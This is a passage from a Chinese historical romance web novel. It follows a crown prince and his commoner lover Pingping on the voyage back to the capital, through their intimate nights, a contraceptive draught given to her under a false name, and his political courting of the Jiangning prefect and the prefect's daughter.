帐内，柳湛紧紧盯着绰影屏风和很快氤氲上升的水气，食指微动，主动割向袖里剑，几滴鲜血迅速落在床单上。 他自行更衣，挑开帐帘，屏风外余下的女使就要下拜，柳湛抬手，示意噤声。 一屏之隔，哗哗水声。 他悄无声息步出门外。 门外仅守两女使，要走一半走廊，到楼梯口，才遇着手执册文静候的袁未罗，另有三女使端着宝文、玉如意和一碗避子汤。蒋望回亦伫在旁边。 没有纳正妃前不能弄出庶子，这碗汤本来就该萍萍喝的，柳湛却抬手，众人皆以为是要撤去避子汤，连蒋望回也没抑住挑眉。 柳湛手却越过避子汤，指向袁未罗手里的宝册：“先不封了。” 定好的御侍，说不封就不封了？ 可殿下已与萍娘子确凿有了夫妻之实……袁未罗错愕望向柳湛，得不到答案，无措左右张望，最后回头看蒋望回。 蒋望回抿唇摇头，示意他不要多言。 端避子汤的女使揣测须臾，埋首继续朝房内走，柳湛瞥着，默声应允。少倾，他转头看向蒋望回，下令：“改为今日启程。” * 萍萍出浴，才晓得那件纱衣是此时披身上的。撤去屏风，女使服侍着更衣时，帐内已经没了人影。 “官人？”她迟疑唤了声，记起嘱咐，改口，“殿下？” 床边的女使屈膝：“回娘子，殿下已经走了。” 什么时候走的？ 方才水声大，隔着屏风她还紧张，都不晓得官人离开了。他怎么也不打声招呼？是突发了急事吗？ 萍萍正揣测着，冷不丁发现床上被褥已全更换。 昨夜的确被他俩弄得很脏……萍萍面红耳赤。 “娘子。” 萍萍听见身后呼唤，回头见一女使端着的木盘上盛着一碗汤药。 “这是什么？”她旋即反问。 端这种避子汤的都是人精，最擅看人说话，既然萍娘子一所无知，那便不能讲真话了——倒不是怕她伤心，怕的是伤心后闹去殿下那里，还是女使遭殃。 “这是补阴的，操劳过后，一般都会喝上一碗。” 萍萍的脸唰地一下又红了。 在端起药碗的那一霎，她突地心一沉：这里面没有附子吧？ 不能乱揣测别人，眼下这个情形应该不会，萍萍端起药碗，一饮而尽。 她把药碗放回盘上，见只有这一位女使退了出去，其余的都还杵着。 萍萍有些不自在，尴尬笑笑，酒窝都没有：“那个……我想再睡会。” 女使们闻言上前服侍更衣。 萍萍又被架住了，看来得一字一句说清楚，不能绕弯：“谢谢我自己来吧，我想歇会，你们都出去吧，辛苦各位姐姐了。” 女使们行礼屏退。 萍萍穿着里衣上床，刚眯一会就被疼醒，肚子好痛，一瞬疼上来，钻心刺骨，冷汗涔涔。 她捂着小腹，闭眼皱眉，羽睫颤动：“官人，疼……” 第55章 第五十五章 “殿下！” 她知道官人去处理公务了， 不在身边，但这会假想着倾诉两句，分散注意， 疼痛会稍微减缓些。 熬着吧， 萍萍咬牙睁眼， 瞟向房中滴漏，等刻度逐一降低，总有一刻， 时间会带走一切疼痛。 西宁归途就是这么熬过来的。 那时她刚出谷地不久， 旧伤复发，十里荒野寻不到住处， 就在废弃的观音庙里躺着，连张草席也无。外面亥月飞雪，积雪高过半身破烂的庙门，风狂啸着往里灌，她才晓得什么叫“燕山雪花大如席”。 她烧了整整三日，既饿又困，痛楚难耐， 一刹冲动， 想闭眼睡过去算了， 转念又决绝道不行！她还没有到润州， 履行和官人的约定……倘若她折在途中，官人岂不要在润州等一辈子？ 萍萍强撑着支起眼皮，怕睡了再不醒， 就一直对视庙里泥塑的观音，断了胳膊少净瓶，面也斑驳， 但那一双眼却漆面完好，越看越悲悯。 她生生熬到烧退，再凭一口气往东走，十里之外到京兆府境内，经略相公治下，设点施粥，才终续上一命。 …… 后来只要遇着苦难疼痛，她都这么熬，眼下亦如此，萍萍胸脯起伏，偶尔吞咽，也不知硬挺了多久，全身湿透，那疼痛才终于消散。 她苍白的唇往上扬，现出两个酒窝，你看，果然什么都能熬过来。 屋外的女使像变法术似的，又一下子全消失。 直到晌午，才有两女使提着食盒来送饭，顺道给萍萍捎了套新衣裳。 萍萍提起叠着的衣裳打开，竟是件鸦青的窄袖袍服，不由疑惑：“怎么是男装？” 女使埋头，不多言：“这是中贵人的吩咐。” 袁未罗给她挑的衣裳？ 萍萍低头，自己身上全是昨晚留下来的印痕，穿抹胸褙子完全遮不住，的确不合适，圆领袍加上里面的连裳，可以直遮到脖颈。萍萍点头道谢：“帮我多谢中贵人，还是他想得周到。” 二女使默默无言，为萍萍重梳发髻，戴上一顶簪花幞头。 衣裳头发皆是宫婢打扮，但来之前中贵人叮嘱过，不可对萍娘子多言。 理好衣冠后，女使垂首打开房门，光亮随之投射进来，萍萍回头一望，亮堂堂的门槛后面站着袁未罗。 他一直等着？ 萍萍张嘴打算当面再谢一次，袁未罗却比她嘴快：“好了？收拾一下，殿下要返京了。” “好！”萍萍干脆应声，收拾些体己物就随袁未罗离开。不是来时他们上船的那个码头，要更远些，她坐了足足一个半时辰的车。 江边戒严，一座水榭半耷江中，门窗紧闭，愈发显得闷热。 进来的马车皆停在水榭旁，袁未罗和萍萍乘的不是同一辆，先下的车，而后给萍萍搭把手：“还好吧？晕不？” “多谢阿罗关心，”萍萍自己蹦下马车，“这点路没事。” “那挺好，以后我们换船走陆路，有时候一整天都在车上，还担心你受不了呢——”袁未罗看萍萍脸上没有忧虑，不禁强调，“扬州到东京有一千两百多里路！” “之前四千里路我都走过。” “你说大话吧？”袁未罗不信，不自觉提高嗓门， 萍萍只好告诉他：“我一个人从西宁走到润州，路上有车坐都算是好的了。” “你一个人？”袁未罗反问，又想到蒋望回曾在西宁参军两年，正要多嘴，发现蒋望回刚好从旁经过。 不知怎地，对上蒋望回的眼睛，袁未罗话就卡在喉咙里。 蒋望回先同袁未罗颔首，继而又隔空朝萍萍点了点头。 萍萍快步走近，笑道：“蒋殿帅？” 蒋望回几分赧然：“你都知道了。”他顿了顿，垂下眼，也不知是对萍萍说，还是催袁未罗：“登船了。” 说罢便转身朝码头走，萍萍跑了两步：“官——殿下他还在忙吗？” 往常蒋望回会慢下脚步等萍萍，眼下却走得快：“殿下日理万机。” 萍萍听见这句话，瞅着蒋望回越来越远的背影，止了步。 看来蒋大人也很忙，就不要给他们添乱了。 萍萍转而等袁未罗一起走，江上只一艘比之前来扬州那艘还大一半，高一层的巨艇，前后左右的甲板上全是摇橹。 倘若以前那艘是龙舟，那这就是真龙舟——萍萍晓得这话再不能随便开口，只在心里默想。 她走上甲板，忽然没由来忆起来扬州那夜一码头的花船和船娘，回头四望，这里没有，只见热浪滚滚，浪亮得像镜子。 “找什么呢？”袁未罗问。 “没找什么。”萍萍和他一道登船，走远。 水榭内，柳湛阖着眼，刚听完她讲的每一句话。 他微抬眼皮，瞥向手上那张萍萍的过所牒，只一段润州来回江宁的记录。 呵——西宁到润州，一路所见所闻却又能编得那般真？ 他再翻到另一面：方萍，庆丰二年生人…… 才十七岁，六年前是十一岁，怎么可能嫁人？ 但她在他之前的确已非清白之身，想到这个柳湛就如焚如抽——今日狠下心不见萍萍，欲冷落她，却总禁不住回想昨夜那方小小床榻，亲密无间，她的粉颈朱唇，珠圆玉润，还 有那一声声喉管子里发出来的媚声。 他兀地又忆起，昨天后半夜本来准备停了，萍萍口渴，茶水就在床边几上，她手脚并用爬去喝，他在后面紧紧盯着，改变主意，等她一喝完，就即刻捉住她的脚踝拉回身边…… 夏日潮涨，水榭外的太阳烤得浪如沸水，汨汨作响，人心一旦不静，便全是热汗。 他终究还是在夜幕降临后，推开萍萍房门。 天热袍服闷，萍萍回屋后脱了袍子，换了件芙蓉色的背心，听见响动回头，神色一喜：“官，殿下！” 她转身扑入柳湛怀中，高兴得踮脚啄了一口，“你忙完了？用过晚膳了吗？” “用了。”柳湛喉头微滑，她还是不习惯改口，还是会先唤她的官人。 他箍着萍萍的手暗中加重数分力道。 又想，她一上来又扑又亲，是不是……不能想，柳湛垂首呼气，试图分散自己的注意力，却瞥见只穿着抹胸和背心的萍萍露着雪白肩膀，锁骨微凸，胳膊上却有肉，白腻腻地晃。 晃得他心头起火，一口咬住她的锁骨，就往榻上抱。 “我身上有汗。”萍萍想推他，却被柳湛捉手，又不自禁想起捉脚踝。 哪天没有汗？昨晚汗湿多少回。 眨眼间，柳湛自行褪尽衣衫，紧紧搂抱，他发现特别贪恋身贴着身，哪怕大夏天两人都汗淋淋也沉迷。 “殿下。”萍萍这回记得了，不用改口。 听得柳湛身心一震，愈加卖力挞伐。 再多唤几声。 “殿下。” “殿下。” 青绡薄帐，春光一片。 …… 又过卯时。 萍萍四仰八叉躺着喘气，旷久了的男人真不能招惹，这比上回满城抓猪还累。 她挑眼，昏昏月光下，虽然看不清官人表情，但能瞧见他也是仰躺，萍萍就骨碌碌往柳湛怀里滚，却被他伸着的胳膊挡了道。 少倾，柳湛抬起胳膊遂她的愿。萍萍立马再滚半圈，脑袋贴着心房上，手也搭在他身前。 她咬了下唇，鼓起勇气抬小腿，也搭到他腹上。 柳湛无声莞尔，压在萍萍身。下的那只胳膊屈起，轻拥住她。 船外的诵经声由远及近，逐渐清晰：“善恶之报，如影随形，三世因果，循环不失。” “本有今无，本无今有。三世有法，无有是处” …… “这是哪座寺庙？”萍萍玩着柳湛的发梢问。 “金山寺吧。”他记得来润州那日，听到的也是这几句，那时候还不认识萍萍。 柳湛借着月光连扫萍萍数眼。 “这么快就到金山寺了？”萍萍放下手中发梢，“这还是逆行呢！” “摇橹几十人，昼夜不停，又没遇到风。” 躺着的萍萍没点头，只在心中默道：官人所言极是。 帐内一时沉默，只有窗外的诵经声愈发响亮。 听来听去，皆是些“三世”、“因果”之类，萍萍便问；“这是《三世因果经》吗？” “不是，这是《涅槃经》，‘三世因果，循环不失。本有今无，本无今有’。《三世因果经》是‘善男信女至诚听，听念三世因果经’，‘欲知前世因，今生受者是。欲知后世果，今生作者是’”。 “你怎么这么懂？”萍萍刚问完就自个记起来，“哦你嬷嬷念佛，娑罗奴——” 柳湛搂着萍萍的手突然掐紧，不是方才那种嫉妒的箍，而是那种犹如鹰爪，五指嵌肉的桎梏。 萍萍先嘶一声，继而半嗔半开玩笑：“你怎么下手这么重？要是掐的不是胳膊是脖子，我都怀疑你要扼我喘气。” 柳湛缓缓放开五指，幽幽地想，他不会要她死的，这是他在焦山碑林就想明白的事情。 “对了，殿下，我还有件事想和你说。” 这一声唤得耳顺，柳湛旋即就接：“什么事？” “昨天你走了以后，女使端了一碗汤药过来，说是滋阴的，但我喝下不久就肚子痛，”她不愿将症状说太重，免得阿湛担心，“你说那药里会不会有附子啊？” 须臾，萍萍又急忙补充：“我也是一朝被蛇咬，十年怕井绳，也许肚痛不是那碗药的原因。没查明真相前，你别胡乱怪罪女使啊。” 柳湛思忖，应是避子汤里红花麝香之类加得过多，过于亏气：“我作甚么怪罪她？我看啊，压根不是喝药的缘故，是你这两日贪凉了才肚痛吧？” “哎哟——”萍萍坐起来要敲柳湛，“你还好意思说？” 柳湛视力颇佳，见她举拳袭来，本能戒备，神色骤戾，但仅只一霎，就恢复如常，重绽笑意。 他抬手包裹住萍萍拳头，终究没允她捶到自己身上。 “这两晚我为何会贪凉，你还不清楚？” 一句话，又勾得柳湛蠢蠢欲动，赶紧放开她的拳头。 萍萍伸指垂臂，那一拳最后也没捶下来。 柳湛坐起寻衣，边穿边道：“你再睡会，孤得起了，还有一大堆公务要处理。” “看来当太子比开汤饼店忙多了。”萍萍躺床上感叹。 柳湛正穿靴，闻言回身刮了下她的鼻子。 “走了。”柳湛轻手轻脚离开厢房。 关上门，他便旋即敛笑。不远处女使数名，正候着等叫水，柳湛一顺经过，直走到最末那位端着避子汤的女使身前，才停步。 “孤瞧瞧方子。” 女使连忙屈膝：“方子不在身上，奴婢这就去取。” 柳湛默不作声，女使飞快取回方子，气喘吁吁：“殿下且请过目！” 柳湛随即接过，只瞧方子。他在心底叹了一声，怕女使不识药理，记不住口述：“你随孤来。” 柳湛到书房重拟了张药方，去掉明矾，红花麝香皆减剂量，又加了几位补气护肾的药材，将方子交给女使：“从今往日皆照着这煎。” 第56章 第五十六章 这她也会？ 柳湛走后萍萍竟真睡起回笼觉， 记着贪凉的话，盖了肚子，外面仅露两只胳膊。 再一醒， 天已放亮。 女使们端来早膳并一碗汤药：“本该早些端来的， 但看娘子睡了， 不敢打扰。” 萍萍道了声谢，碰触碗壁时手迟疑了下。 最后还是喝了。 好在之后并无再肚痛，看来真被官人说中了， 是贪凉。 她闲着没事， 就想出去透气，低头往下看， 这一天天的，昨晚亦留下许多痕迹，只能把袍服再穿起来，戴好幞头。 “真龙舟”甲板宽阔，上面竟能摆下桌椅板凳，还特意在这个季节搭了阳棚。萍萍坐下远眺，沿岸青山起伏， 一江悠悠， 偶见蘋洲便是意外惊喜。 也不知过了多久， 她无意扭头， 瞥见拐角处一抹身影，不由得伸长脖子瞅，却原来是蒋望回面无表情负手， 正往这边来。 “蒋殿帅！”二人隔着两张桌，萍萍起身打算绕过去，没看脚下， 膝盖撞到桌腿，人往前搀，手也捂住膝盖。 蒋望回脚下加快，急眼道：“娘子找我？” 她这般急冲冲，前日没册封，是不是和殿下闹了矛盾。 “腿脚还好么？要不要找船医看下？” “没事。”萍萍收回手，心想这船上还专门配备郎中。 蒋望回垂首哽了下，才续道：“殿下还在忙，娘子有话我可通传。” 萍萍一笑，晓得官人在忙，没想过去打扰：“没有话传，我是专门找你的。” 蒋望回心急跳数下，低头盯向萍萍脚上那双白珠鞋，掩下一切。 又觉该吐露点什么，纠结开口：“专……” 萍萍 浑然不察，继续说：“也不是专门吧，碰上了，正好说一说。” 蒋望回合牢双唇。 萍萍理了理身上袍服，含笑郑重道：“我——” “坐下说。”蒋望回想她刚撞了腿，指着圆凳打断。 萍萍就近一座，蒋望回眼皮眨了两下，在她旁边挨着的那张凳上坐下。 “我很敬佩经略相公！在西北的时候，处处听到的都是夸赞，经略相公和夫人一生一世，夫唱妇随，保家卫国！” 他得非我贤，哪怕那人是他爹，蒋望回面颊微烫。 “我好多朋友都受过经略相公恩惠，比方减税，还有冬天按户头发棉衣……”萍萍掰手指一项项枚举事迹，蒋望回微笑注视，心道：她原来是来吹他爹的。 他温柔叹息：“这就是你今天专程找我来说的话。” 她看起来并没有因为没被册封而伤心，挺好。 “不仅仅是这。”萍萍敛了笑意，“经略相公还是我的救命恩人。”不知不觉低头，“当时经略相公在京兆府沿路施粥，我走了好久，快绝望了，突然瞧见粥棚，一下落下泪来。倘若没有那碗粥，我也许就活不到如今了。”萍萍突然仰头，冲蒋望回绽放一笑，“所以想好好谢谢经略相公，还有那些搭棚熬粥的大人们。” 她怔住，怎么恍惚从蒋望回微敛的神情里读出几分苦涩。 萍萍想了想，放柔声音：“我知道对天下人来说，经略相公夫妇是为国为民，伉俪英杰，但对蒋殿帅你来讲，是骨肉分离，自幼难体会寻常人家的父母亲缘。舍的不是我的家，所以我没有感同身受，讲了一番欠考虑的话，对不起。” 蒋望回心道，自己苦的哪是这个？ 国家不在，小家焉存？他从来都是支持父母的。 千言万语，却提不起那一口气，蒋望回没有解释，只笑：“别喊我殿帅，还是像以前那样唤我蒋兄吧。” “好，蒋兄。” 蒋望回笑笑正准备回话，萍萍又道：“我的话说完了。” 蒋望回笑容倏滞，而后恢复寻常那张寡淡脸，眺向船外，可真短促，清水绿色都不曾并坐赏一眼。 他转头同萍萍点了点，起身负手，率先告辞：“我也正好要去找林公。” 二人背道分别。 蒋望回上至顶楼，楼梯口就立有禁卫，因为事先知会过，见到蒋望回来，径直放行。蒋望回在书房前叩响。 “进来。” 他推门入内，房中仅柳湛一人。 太子殿下瞥了眼滴漏，刚到巳时，他们约的是这个点，但平常蒋望回都会提前一刻钟来。 “什么事耽搁了？”柳湛笑问。 “闹肚子。”蒋望回旋即就答，柳湛愣了下，没再追问，垂眼从怀里取出一封粘口的信：“江宁上岸后，将它发回东京。” “喏。” 蒋望回领信后说了会话便离去，独留柳湛在案前忙至掌灯。 烛火燃起，窗外的江风也变响亮，他搁笔先沐浴，方才下楼，边走边望，这一带并无城镇，散落些许村庄，这个点皆熄了灯，两岸黑寂，山的起伏轮廓反倒被夜幕衬清晰，柳湛不知不觉就走到萍萍门前。 既知“克己复礼为仁”，又知“君子有三戒，少之时，血气未定，戒之在色”，他已经算不得少年，却怎么一到天黑就琢磨那档子事？纠结再三，还是无法抑制。 事不过三，这才第三日，柳湛宽慰自己，推开大门。 萍萍正坐桌边读书，闻声扭头：“你回来啦？” 旋即放下书册，走向柳湛。 柳湛亦朝她走近，眼往桌上瞟：“在读什么？” “书架上随便抽了一本。”萍萍近身帮柳湛解玉带，他配合着取出袖里剑，褪去外袍，视线仍落在桌上，读了几行，辨出是《麟经》。 萍萍挂剑，又抖抖袍子搭衣架上，背对柳湛抱怨：“文意晦涩，看得发困。” 柳湛笑出一声，再去眺那架上，另外两册她没选的是《周易》和《礼记》。 柳湛唇角扬得更高：“真是难为你了。” 萍萍已经搭好衣裳，折回来朝他噘嘴，同时踮脚摘他头上发。柳湛微耷眼皮瞧萍萍动作，她身后桌上，火苗跃动，虽然从小到大不乏宫人服侍更衣，却只有此时此刻，一边更衣一边闲话，才有种民间夫妻的温馨感。 又忆推开门时她亮亮的眸子，和那句饱含惊喜和期望的“你回来了”，不就是妇人等夫君归家的情景？ 柳湛的笑意不知不觉满溢眉眼，却又渐冷滞住，她等的是哪一位夫君？ 回来是谁回来？ 柳湛脸色沉沉，上了床仍不见好转，也不躺，坐在床上似陷沉思。 萍萍指尖拂过柳湛肩膀：“怎么了，心情不好？” 她下巴搁上他肩头：“不是案子已经结了吗？” 柳湛身不动，回头瞅她，昏灯鹰眼，她忽然福至心灵觉得应该是二人之间的事，但萍萍不会想得太坏，嗯，记忆里，其实还有一种不常用的没重温过。 她方才拿袍子时就已嗅到清浅香味，他沐浴得干干净净，萍萍笑着伸手一探，再一抓。 柳湛先定两肩，而后僵身，她做什么？！ 萍萍另一只手扒开鬓发，俯身低头。 柳湛连颊面都绷紧，差点刹那溃败。 转而心里生了一根锐针，细细密密地扎。 连这她也会么？ 六个字，心头每默道一个字，就像在炮烙上踩踏一脚。 萍萍的发愿是“须作一生拼，尽君今日欢”，因此全力以赴，吃糖一般。这颗糖对柳湛而言却是入口发酸，渐渐酸涩中裹挟甜蜜，他不知不觉呼吸加重，修长的五指穿过萍萍发丝，缓缓摩挲，手背上指节和青筋越凸越高，少倾，将她脑袋重重往下一摁。 …… 又是半晌荒唐。 后半夜不记得是谁先起的困意，相拥睡去，等早上竟是萍萍先醒，眨了下眼，发现自己脑袋窝在柳湛臂弯里，小腿搁他腹上。 清晨光亮，她确定他腹间光滑，无一疤痕。 柳湛也醒来，睁眼同她对视。 他先起身，披衣。萍萍见状也起来，不一会候在外面的女使们进来服侍，布早膳，汤药亦端到萍萍面前。 人多不方便讲，萍萍给柳湛使眼色：那天真是贪凉，后来不疼，错怪女使了。 柳湛眨眼：知道了。 面上却无笑意。 纵使如此，他还是紧紧盯着萍萍喝完整碗药，用膳也比平时慢，细嚼慢咽，等了一会，确认她活蹦乱跳才道别要离开。 “殿下，到江宁了。”禁卫隔着门报。 柳湛正对门外，闻言转身邀萍萍道：“那正好，一起下去。” 她宫婢打扮，跟在身后无妨。 “好。”萍萍应得干脆，夫妇同行，天经地义。 出舱后不见人烟，应该离江宁城尚远，码头后面连绵青山。 许多官员接驾，紫袍红袍跪了满地，个个呼千岁又自报家门。 萍萍记不得许多，听进耳中的就江南东路安抚使和江宁知府，也唯独这两位是柳湛亲自扶起，直道扬州平乱，江宁军亦有功劳，文绉绉好长一番话。 这群人在码头你来我往，萍萍估摸讲了刻把钟。 安抚使和知府作陪，队伍如龙，摆尾翻山。 “当年琅琊王将军在此地设置幕府，所以得名幕府山。” 讲这些萍萍来兴趣，跟在后面默默偷听，众人经过一排石冢，那安抚使道：“南北分治时，陈武帝也是在此山率军拒战，击败了北齐军。” 萍萍闻言回头去看越离越远的石冢，好些冢前立着等碑高的军士石像 她再转回脑袋觑柳湛，他不曾回首。 柳湛放在心上的是另一件事——全程几乎都是江南东路安抚使在介绍，江宁知府俞兰生似乎嘴笨些，插不上话。 按品阶，一路安抚使自然比知府高，但这位安抚使年末就要轮值别处，俞兰生却是今年年初才刚升迁上任，最关键的，他是当今参知政事谈品瑄谈相公的得意门生。 柳湛有心结交，便常常留些话头给俞兰生，待下山入城时，已聊了近百句，渐渐熟络。 众人先入驿馆安顿，而后驱车拜孔庙。拜完今日事毕，恰逢晌午，俞兰生笑道：“下官家就在这孔庙隔壁，殿下如不嫌弃，不若就到下官家中用膳？” “那要劳烦俞知府了。” “哪里哪里，殿下赏脸驾临，下官蓬荜生辉。”俞兰生又邀安抚使，“帅臣也一道来？” 安抚使点头应好，笑若春风，心里却不是滋味，自家帅臣府远离秦淮河，叫这俞兰生算计，捡大便宜。 一行人到知府府用膳，席散道别，送行安抚使，柳湛却道：“孤方才贪口腹，想消消食。” “下官家中的园子不错，殿下若瞧得上眼，可以散步。” 柳湛一笑：“正好，孤早想逛逛江南园林。” 俞兰生 便引柳湛往知府府深处走，原先后面还跟有府中长随，过门穿桥，走着走着就只剩下蒋望回、萍萍和袁未罗。 萍萍忽觉得下面猛然一坠，糟了，怕不是癸水来了。 柳湛在前面离得远些，俞知府正给他介绍江南园林叠石理水，花木章法，萍萍只好拉最末蒋望回衣角，低语：“我闹肚子，先离开下？” 蒋望回蹙眉：“你自己能找到路吗？” “找不到我就问人。” “那快去吧。”蒋望回低语，“要是实在不舒服喊府医。” “没事，我待会就来找你们。”萍萍说完不敢小跑，低着头快步离去。 蒋望回目送须臾，回头跟紧柳湛。 二人仍在闲谈。 “这回扬州平乱，多亏了知府大人的援军呐。” “哪里哪里，能为殿下效力是下官幸事。” 柳湛笑指前方园中园：“都说江浙白屋，不施五彩，别有一番风味，今日府台大人家里一见，名不虚传。” “哪里哪里，江宁比下官园子修得好的也有。” 终于聊到正题，柳湛随俞兰生穿过拱门：“听说江宁修得最雅致的是谈相公的半山园？” “是。恩师是江宁人，那是他自小居住的地方。” 柳湛启唇欲接话，却听弦声骤响，轻灵婉转，萦绕园间。正好众人步行到一排翠竹末尾，转角豁然开朗，上有凌霄，下有木槿，花丛中一绝色女子正奏锦瑟。 俞兰生疾步上前：“你在这里作甚么？” 似要驱赶女子，却无驱赶言语，反而往回走到柳湛面前，下拜解释：“小女俞容不知殿下驾临，多有惊扰，还望殿下海涵。” 太子驾临知府府，俞兰生的女儿会不知道？柳湛已明其意，却仍笑道：“哪里惊扰，俞娘子清音悠远，引商刻羽，‘我有嘉宾，鼓瑟吹笙’。” 眸光中流露些许赞赏意。 “还不快过来见过殿下！” “民女俞容参见殿下。”俞容近前盈盈下拜，花冠檀妆，齐胸罗裙，显然精心打扮过，再抬首时美目流盼，神色纯真：“殿下也懂瑟么？” 按理俞兰生该斥一句大胆殿下当然懂，他却不知何时退到一边。 柳湛笑应：“略知一二，自然不及俞娘子。” 渐渐变成他和俞容在前并排谈天，其余人远处跟随。蒋望回望好几圈周遭，这园中园开阔，萍萍万一找进来，过了竹林就能一览无遗。 第57章 第五十七章 麻 蒋望回看眼袁未罗， 不是个稳妥的，但若自己去寻，殿下难免多心。他只得叮嘱袁未罗：“你去园门口守着， 倘若萍娘子来， 千万不能让她进来瞧见。” 袁未罗飞速眺一眼太子和俞家娘子， 点头：“我懂。” 调头飞快去这园中园唯一的进出口守着，蒋望回则继续在后陪同。 柳湛和俞容在前曲径慢行，花苑池塘， 凉风习习， 并不觉热。 前方一台，上面除却锦瑟， 额外多摆一张七弦琴。 柳湛微笑，自己曾多次在宴会上为官家奏琴，擅琴一事朝中皆晓。俞氏父女看来是想琴瑟和鸣。 柳湛心中俞兰生的市价虽重，但还没到拨动琴弦的份量。 他笑道：“上头太晒，就不上去了吧。” 俞容愣住，一句“听闻殿下擅琴”方至喉管，怎么就被太子不紧不慢抢了先？ 她只能垂首附和：“殿下所言极是。” 柳湛含笑看她一眼， 绕过高台， 继续往前。 蒋望回后面目睹， 暗中叹息：他们处久了门清， 殿下的淡笑不是笑。可旁人不知啊，殿下那双望谁都含情的凤眼，只怕俞娘子要误会色授魂与。 蒋望回隔池回首竹林转角处， 仍担心萍萍会冷不丁撞进来。 柳湛其实也早发现萍萍不见踪影，但笼络俞兰生的事是他早前就筹谋好的，要先办完。 柳湛仍陪俞容踱步。 竹林掩映的拱门外， 萍萍终于找来。袁未罗张望见，快步走向萍萍：“你去哪了？怎么这么多时不在。” “小解，找了好久。”萍萍小声嘀咕。 袁未罗看她走路慢吞吞，不似往常，多嘴一句：“你没事吧？” 萍萍摇头：“没事。” 此等私密事不能和袁未罗聊。 她方才逢人问路，没一会就寻着茅厕，只是一看底下真中了招。 好在随身揣有一方棉帕，暂能救急，穿的连裳亦是朱色，遮挡一二，就是走不快，小心翼翼。 “我没耽误事吧？”萍萍轻声询问。 “没有。”袁未罗朝门内瞅一眼，掩口嘱咐，“但是别进去了，殿下在秘议。” 萍萍狠狠点头，晓得不能偷听偷看，她背对拱门，连那青青翠竹都没瞟一眼。 柳湛那厢和俞容并行十来步，池绕一半，距离那排做隔断遮挡的竹丛尚远，俞容就慢下来，渐渐落后。 柳湛噙笑，俞兰生既觉女儿奇货可居，忍不住谋划，却又要保未出阁贵女的脸面，躲在这园子里，动静怕人听了去。 正中下怀，柳湛回首邀俞兰生：“俞大人。” 俞兰生连忙上前，换成他与柳湛同行，柳湛笑问：“我们方才聊到哪了？” 俞兰生想了下：“哦，聊到半山阁了。” 柳湛似凝神回忆，半晌，才接话：“好像是，你说谈相公是打小就住在半山阁的。” “恩师虽是京籍，但自小随父外放江宁，这里又是他外祖家，其父后来调任泰州、楚州，乃至杭州府，恩师都没再随行，一直生活在半山阁。” “原来如此。”柳湛感叹。 俞兰生看太子今日和女儿聊得不错，便多言道：“殿下竟不知这段渊源？” 柳湛微微摇头：“孤也就早朝上见着谈相公，平时聊得少。” 俞兰生已经会意，有心攀亲：“这有何难？池州知州廖元乃是下官师弟，近日就将回京述职，下官可修书一封托他转交老师，兴许能为殿下和老师牵线。” “那要劳烦俞大人了。” “芥弥小事，殿下且请放一百个心。”俞兰生顿了顿，重道，“其实恩师私底下颇爱前朝虞少师的字。” 至此柳湛方才哈哈大笑，与俞兰生、蒋望回一齐绕过翠竹，萍萍和袁未罗正等在门后边。 柳湛抿了下唇，而后便同俞兰生聊着走过去，萍萍缓慢跟在最末，时不时往底下瞟，担心污袍失礼。 辞行时，俞知府直送到马车边。 柳湛与之客套，太子不进车厢，后面几辆车的人也只能等在外面，知府府旁秦淮河蜿蜒流淌，一艘游船缓缓荡过，为防晒遮阴，舱门挂的青纱帘，纱帘后裴改之盘膝静坐，船往下游，他的目光却始终粘在萍萍身上——哪怕她只是鸦青色的一个点。 众人拥簇的柳湛，裴改之反而一眼不看，似乎并不吃惊他是太子。 良久，裴改之悠悠勾起嘴角，自言自语：“萍娘，汴京见。” * 戌时，柳湛再次同夜色一道，立在萍萍门口。 每次推门前他的心都要麻一下，自找苦吃，又幽幽地想，麻着麻着，没准哪天就真麻木了。 柳湛抬手推门， 至少现在还不能。 萍萍正躺床上，但帐幔未落，能第一时间瞧清门口。 她撑着手坐起身：“回来了，吃过了么？” “吃过了，你呢？”柳湛反问，暗思避子汤已经调过药方，她还是不舒服么？ “我也吃了。” 柳湛颔首往床边走，萍萍亦朝他走来，二人很快站到一起，萍萍帮他褪衣，挂剑，柳湛嗅到她身上淡淡的血腥味。 她来癸水了，他想。 之前在润州同床共枕，第一个月闻到这种血腥味，寻不见出处，柳湛疑她设陷，连按五晚袖里剑不敢懈怠。 后来相处久了，他找了些书看，发现每回有血腥味那几日，萍萍洗晒之物是书中所绘月布，才恍然大悟。 她之前颇规律，算算这个月不应该是今日，柳湛便问：“来了么？” 萍萍愣了下，这还是官人头回主动问起此事。 “是啊，这个月比平时提前，还觉得痛，可能也是贪凉导致的吧。”萍萍说完发现这也是重逢以后，自己第1回 和官人说月事。 柳湛道：“躺着吧。” 他让萍萍躺进里侧，自己随之侧卧外边，落下绡帐。 今夜欢。好不成，竟也没有要走的意思。 许是做过亲密事后，待萍萍多一层不同情愫。 他看萍萍缩肩屈膝，自抱姿势，便问：“冷？” 萍萍点头。 柳湛探手覆上她手背，又往下摸脚，酷暑天她竟手脚冰凉。他便单手裹住萍萍两手，接着抓住她的小腿放到自己腹上，脚正好踩着他腿。 柳湛身体颇烫，热意通过肌肤传递，萍萍心里也暖融融的。 她蹙了下眉，禁不住向他撒娇：“肚子也疼——” 柳湛斥道：“得寸进尺。” 空下来的那只手掌心，隔着衣料贴上萍萍小腹。 又一股暖流注入，萍萍挪了挪身，仰起下巴在柳湛唇上映下一吻。 柳湛却只在她额头浅浅回亲一下，拉好被子：“好了，今晚不要闹。” 他看那书上也说，女子月事时忌合房，忌生冷。 柳湛手捂着她，一动不动，心思却飘到萍萍洗月布上，冷水浸骨，应也不妥：“那月布你别洗了。” “难道让别人洗吗？”萍萍反问，癸水至阴，皆道沾染女子癸水会倒大霉。 柳湛自然也晓得这个忌讳，但方才完全没想起来，这会提及，仍不介意，掌熨帖萍萍腹上：“谁说要洗了？用一条烧一条。” “不要不要，太奢费了！” 柳湛眸色晦暗，沉默了会，才道：“宫里都是这样的。” 萍萍咬唇。 “萍萍。”柳湛轻唤。 “我在。” 他攥着她的那只手指动了动：“回京以后听见的话，你惊讶也好，异议也罢，皆要三思后言，万不可再像刚才那样急着表态了。” * 柳湛等人未在江宁久待，翌日启程北上，一过当涂，便进入太平州，本地知州比江宁官员更热情，领一大拨人到边境迎接，沿途护送。 一行人穿行郊野，一树也无，人皆道江宁火炉，不曾想太平州更似蒸笼。窗上如今换的纱帘，本意为了透气，此刻灌进来的却只有热风，柳湛坐在车内摇扇，袁未罗也从旁帮扇，仍衣袍汗湿。 “你也给自己扇扇，别中暑了。”他皱眉吩咐袁未罗。 “殿下放心，奴没事的。”袁未罗心甘情愿伺候柳湛。 